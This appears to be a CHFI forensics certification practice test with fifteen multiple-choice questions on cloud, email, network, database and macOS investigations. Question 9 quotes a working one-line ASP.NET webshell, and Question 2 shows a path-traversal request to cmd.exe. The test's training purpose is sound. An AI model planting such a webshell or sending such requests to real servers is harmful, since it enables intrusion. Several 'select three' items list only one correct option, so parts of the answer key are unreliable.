CHFI Practice Test 49 — 15 Questions

Question 1

During a cloud forensics investigation, an analyst examines AWS CloudTrail logs and finds an event with "userIdentity":{"type":"AssumedRole","arn":"arn:aws:sts::123456789012:assumed-role/AdminRole/i-0abcd1234efgh5678"}. What does the 'i-0abcd1234efgh5678' portion most likely represent?

Accepted Answer

The session name, which is typically the EC2 instance ID. In CloudTrail, when an EC2 instance assumes a role, the session name is often the instance ID. The 'i-' prefix and alphanumeric string indicate an EC2 instance ID.

Answer

The AWS account ID of the role's trusted entity

Answer

The role's unique identifier assigned by IAM

Answer

The unique ID of the IAM user who assumed the role

Question 2

During a forensic investigation of a compromised web server, an analyst finds the following entry in the IIS access log: 192.168.1.5, -, 04/May/2024:14:23:11, GET /scripts/..%5c../windows/system32/cmd.exe, 200. What is the probable attack vector?

Accepted Answer

Path traversal. The log shows a path traversal attempt using URL-encoded backslashes (%5c) to navigate to cmd.exe. The 200 status indicates the request succeeded. This is a classic path traversal attack.

Answer

Brute force attack

Answer

Cross-site scripting

Answer

SQL injection

Question 3

An analyst is examining a PCAP file in Wireshark and notices a series of TCP SYN packets sent to multiple ports on a single IP address, with no subsequent SYN-ACK replies. What type of network activity does this indicate?

Accepted Answer

A port scan attempting to identify open ports. Sending SYN packets to many ports without receiving SYN-ACKs indicates a port scan, likely a TCP SYN scan, to discover open ports.

Answer

A denial of service attack

Answer

A man-in-the-middle attack

Answer

A TCP handshake for normal connection establishment

Question 4

A forensic analyst is examining a Microsoft Outlook PST file as part of an email investigation. Which tool is specifically designed to parse and analyze PST files and extract email metadata?

Accepted Answer

Aid4Mail. Aid4Mail is a forensic email analysis tool that supports PST, OST, MBOX, and other formats. It is commonly used for email investigations.

Answer

Wireshark

Answer

EmailTracker

Answer

Sleuth Kit

Question 5

During a cloud forensic investigation, an analyst discovers that an AWS EC2 instance was used to launch an attack. The instance has been terminated. Which source is MOST likely to contain evidence of the commands executed on the instance?

Accepted Answer

AWS Systems Manager Agent logs. AWS CloudTrail records API calls for EC2 instance management but not OS-level commands. VPC Flow Logs capture network traffic. EC2 instance metadata is about the instance configuration. AWS Systems Manager Agent (SSM Agent) can log commands executed via AWS Systems Manager, including Run Command, which can capture command history even after instance termination if logs were sent to CloudWatch.

Answer

VPC Flow Logs

Answer

EC2 instance metadata

Answer

AWS CloudTrail logs

Question 6

A forensic analyst is investigating a MySQL database server breach. Which log is MOST useful for identifying a series of queries that exfiltrated data, assuming the attacker used a compromised application account?

Accepted Answer

General query log. MySQL general query log logs all queries, but can be resource-intensive. Binary logs record changes. Error logs contain errors. Slow query log logs slow queries. The general query log is best for seeing all queries from a compromised account.

Answer

Binary log

Answer

Slow query log

Answer

Error log

Question 7

An analyst is investigating a data exfiltration incident. The MySQL transaction logs show a series of unusual SELECT queries retrieving large amounts of data from the 'customers' table, executed by a user account 'webapp'. What should the analyst check NEXT to determine if the data was actually exfiltrated?

Accepted Answer

Review the web server access logs for requests to external IPs containing the queried data. After identifying suspicious queries, the analyst should check the application server logs to see if the results were sent externally.

Answer

Examine the database schema for unauthorized stored procedures

Answer

Analyze the MySQL audit logs for privilege escalation attempts

Answer

Check the MySQL binary logs for any DELETE or DROP statements

Question 8

In an email forensics investigation, which THREE indicators suggest that an email is likely spoofed? (Select THREE.)

Accepted Answer

The 'DKIM-Signature' header is missing or fails validation. Spoofed emails often fail SPF checks, have no DKIM signature (or a failed one), and may contain mismatched headers like From vs. Return-Path.

Answer

The 'Received-SPF' header shows 'pass'

Answer

The 'From' domain matches the 'Return-Path' domain

Question 9

During a forensic investigation of a compromised web server, you find a file named 'cmd.aspx' in the uploads directory. The file contains: <%@ Page Language="C#" %><% Response.Write(System.Diagnostics.Process.Start("cmd.exe","/c "+Request.QueryString["cmd"])).StandardOutput.ReadToEnd(); %>. What is the most likely purpose of this file?

Accepted Answer

It is a webshell used for remote command execution. This is a webshell that executes arbitrary operating system commands via the 'cmd' query parameter. It allows remote command execution on the server.

Answer

It is a database connection string

Answer

It is a legitimate ASP.NET application page for server management

Answer

It is a cross-site scripting payload

Question 10

In an email header, an analyst notices the following: 'Received: from mail.attacker.com (192.168.2.100) by mail.victim.com (Postfix) with ESMTP id ABC123 for <user@victim.com>; ...'. The 'From' address appears as 'ceo@victim.com'. Which type of attack is most likely?

Accepted Answer

Email spoofing. The email claims to be from 'ceo@victim.com' but was received from 'mail.attacker.com', indicating the sender forged the From address. This is email spoofing.

Answer

Man-in-the-middle

Answer

Malware attachment

Answer

Phishing

Question 11

An email header contains the following line: "Received: from mail.evil.com (192.0.2.1) by mail.victim.com with ESMTP; Mon, 20 Mar 2023 10:00:00 -0500". The next Received line shows a different IP. What does this indicate?

Accepted Answer

The email is likely spoofed. Discrepancies in the Received headers, especially IP mismatches, are a classic sign of email spoofing where the origin is forged.

Answer

The email's DKIM signature is invalid

Answer

The email was encrypted in transit

Answer

The email was forwarded from another server

Question 12

Which TWO of the following are common challenges in cloud forensics that are not typically encountered in traditional on-premises forensics?

Accepted Answer

Multi-tenancy and co-mingling of data. Multi-tenancy and data jurisdiction are unique to cloud environments. Volatile evidence is a general challenge but not exclusive to cloud. Lack of tools is not a typical challenge. Legal warrants apply to both.

Answer

Difficulty in obtaining search warrants

Answer

Lack of forensic tools for cloud environments

Answer

Volatile evidence that may be lost on system shutdown

Question 13

A security analyst captures network traffic and observes multiple TCP SYN packets sent to a range of IP addresses on port 445, followed by TCP RST packets after 15 seconds. Which THREE indicators suggest this is a network scan?

Accepted Answer

The packets are sent to sequential IP addresses in the same subnet. TCP SYN packets to multiple IPs on a single port indicate a port scan. The RST packets after a timeout suggest the targets did not respond, which is common in a sweep. Sequential IPs and the use of port 445 (SMB) are typical of scanning. The lack of established connections and the specific pattern confirm scanning.

Answer

The source IP is from an internal address

Answer

The payload contains exploit code for SMB vulnerability

Question 14

A forensic analyst is examining a Mac system for evidence of malicious activity. Which THREE artifacts are commonly analyzed in macOS forensics?

Accepted Answer

Unified logging. macOS forensics frequently examines unified logs (for system events), .plist files (for configuration and application data), and FSEvents (for file system change history). bash_history is not the default for macOS (zsh is default). Prefetch files are Windows-only.

Answer

Prefetch files

Answer

bash_history

Question 15

An analyst examining an Outlook PST file wants to recover deleted emails that are no longer visible in the Deleted Items folder. Which technique is MOST effective?

Accepted Answer

Use a forensic tool to carve for deleted items within the PST. Deleted emails in PST files are often not immediately overwritten. Using forensic tools to scan the PST file for unallocated space or deleted items can recover them.

Answer

Convert the PST to an EDB file and mount it

Answer

Repair the PST file using Scanpst.exe

Answer

Reconstruct the PST from the Exchange server backup